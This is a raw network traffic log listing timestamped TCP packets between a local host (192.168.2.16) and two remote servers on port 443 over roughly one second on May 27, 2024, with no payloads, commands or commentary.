May 27, 2024 19:30:43.650142908 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.650216103 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.650274038 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.650316954 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.650327921 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.651119947 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.651137114 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.651144028 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.651274920 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.651335001 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.651465893 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.651473999 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.651556969 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.652082920 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.652092934 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.652214050 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.652228117 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653197050 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653245926 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653273106 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653307915 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.653351068 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653409958 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.653424978 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653443098 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.653489113 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.654109955 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.654118061 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.654184103 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.654360056 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.654367924 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.654788971 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.654813051 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.655951977 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656013012 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656094074 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656116009 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.656121969 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656136990 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656182051 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.656649113 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656713009 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.656713009 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.656766891 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.657098055 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.657104969 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.657171011 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.657372952 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.657382965 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.657737970 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.657752991 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.660130024 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.660208941 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.660303116 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.660548925 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.660567045 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.660641909 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.660871029 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.660887957 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.660955906 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.661381960 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.661415100 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.661828041 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.661849976 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.662025928 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.662045956 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.662390947 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.662406921 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.662497044 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.662818909 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.662839890 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.662904978 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.663026094 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.663048029 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.663393974 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.663405895 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.680759907 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.716408968 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.716588020 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.716785908 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.716810942 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.716881037 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.717192888 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.717209101 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.720084906 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.720112085 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.720228910 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.720539093 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.720551014 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.749205112 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.749973059 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:43.750056982 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.751552105 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.751650095 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:43.765381098 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:43.765537977 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.765584946 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:43.808729887 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:43.808794022 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.856724024 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.006505966 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.006652117 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.006736994 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.007633924 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.007677078 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.019510984 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.019540071 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.019625902 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.019884109 CEST	55954	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:44.019893885 CEST	443	55954	152.199.23.37	192.168.2.16
May 27, 2024 19:30:44.117558002 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.117897987 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.117916107 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.118663073 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.118958950 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.119044065 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.119131088 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.124861002 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.125032902 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.125042915 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.126776934 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.126869917 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.127146959 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.127253056 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.127263069 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.127362013 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.127764940 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.127785921 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.130834103 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.131073952 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.131088972 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.132927895 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.133007050 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133234024 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133333921 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133348942 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.133514881 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.133596897 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133801937 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133878946 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.133884907 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.134114027 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.135618925 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.135736942 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.135799885 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.135808945 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.135910034 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.135917902 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136106014 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136284113 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.136291981 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136382103 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136621952 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.136693001 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.136723995 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136774063 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.136837006 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.137022972 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.137093067 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.137095928 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.137847900 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.138103962 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.138170958 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.138315916 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.145347118 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.145602942 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.145663977 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.147144079 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.147427082 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.147521019 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.147533894 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.147646904 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.153493881 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.153680086 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.153696060 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.155141115 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.155220032 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.155421972 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.155503035 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.155514002 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.155652046 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.162517071 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.170521975 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.170603037 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.170825005 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.170839071 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.171710968 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.171788931 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.172060966 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.172118902 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.172167063 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.175574064 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.175580978 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.175581932 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.175584078 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.175592899 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.175596952 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.178509951 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.180414915 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.180634975 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.180643082 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.181483030 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.181552887 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.181947947 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.181998014 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.182250023 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.182255983 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.190556049 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.190556049 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.190563917 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.190587044 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.190654993 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.206557035 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.206588030 CEST	443	55948	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.218494892 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.222583055 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.222675085 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.223095894 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.223309994 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.223311901 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.223341942 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.237565041 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.253551960 CEST	55948	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.262109995 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262239933 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262298107 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.262306929 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262398958 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262451887 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.262455940 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262636900 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.262695074 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.263124943 CEST	55952	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.263135910 CEST	443	55952	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.269587040 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.273650885 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.273794889 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.273869991 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.273888111 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.273998976 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.274059057 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.274071932 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.274127960 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.274188995 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.274539948 CEST	55949	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.274563074 CEST	443	55949	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.281713963 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.281864882 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.281925917 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.282627106 CEST	55950	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.282641888 CEST	443	55950	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.318702936 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.318833113 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.318895102 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.318897963 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.318907976 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.318955898 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.318960905 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.319361925 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.319394112 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.319413900 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.319417953 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.319458008 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.319461107 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.320270061 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.320303917 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.320322990 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.320327044 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.320367098 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.321022987 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323498011 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323559999 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323606014 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323620081 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.323637962 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323693991 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.323705912 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323759079 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323810101 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.323816061 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.323875904 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.324240923 CEST	55951	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.324254036 CEST	443	55951	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.365577936 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.404884100 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.405076981 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.405134916 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.405143023 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.405152082 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.405189037 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.405538082 CEST	55953	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.405545950 CEST	443	55953	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.420026064 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.460966110 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.467521906 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.467623949 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.467684984 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.468600988 CEST	55945	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.468611956 CEST	443	55945	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.469369888 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.469494104 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.469552040 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.469559908 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.469722986 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.469774008 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.471003056 CEST	55947	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.471007109 CEST	443	55947	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.473288059 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.473308086 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.473381042 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.473717928 CEST	55955	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.473727942 CEST	443	55955	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.474052906 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.474138021 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.474220037 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.474401951 CEST	55956	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.474436045 CEST	443	55956	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.481652975 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.481873035 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.481930971 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.482049942 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.482053995 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483264923 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483313084 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483338118 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483367920 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.483375072 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483417034 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.483422995 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483490944 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.483534098 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.484569073 CEST	55946	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.484572887 CEST	443	55946	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.487332106 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.487361908 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.487437010 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.487605095 CEST	55957	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.487633944 CEST	443	55957	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.513596058 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.513731003 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.513814926 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.513813019 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.513879061 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.513938904 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.513957024 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.514019012 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:44.514132023 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:44.514581919 CEST	55942	443	192.168.2.16	104.21.96.107
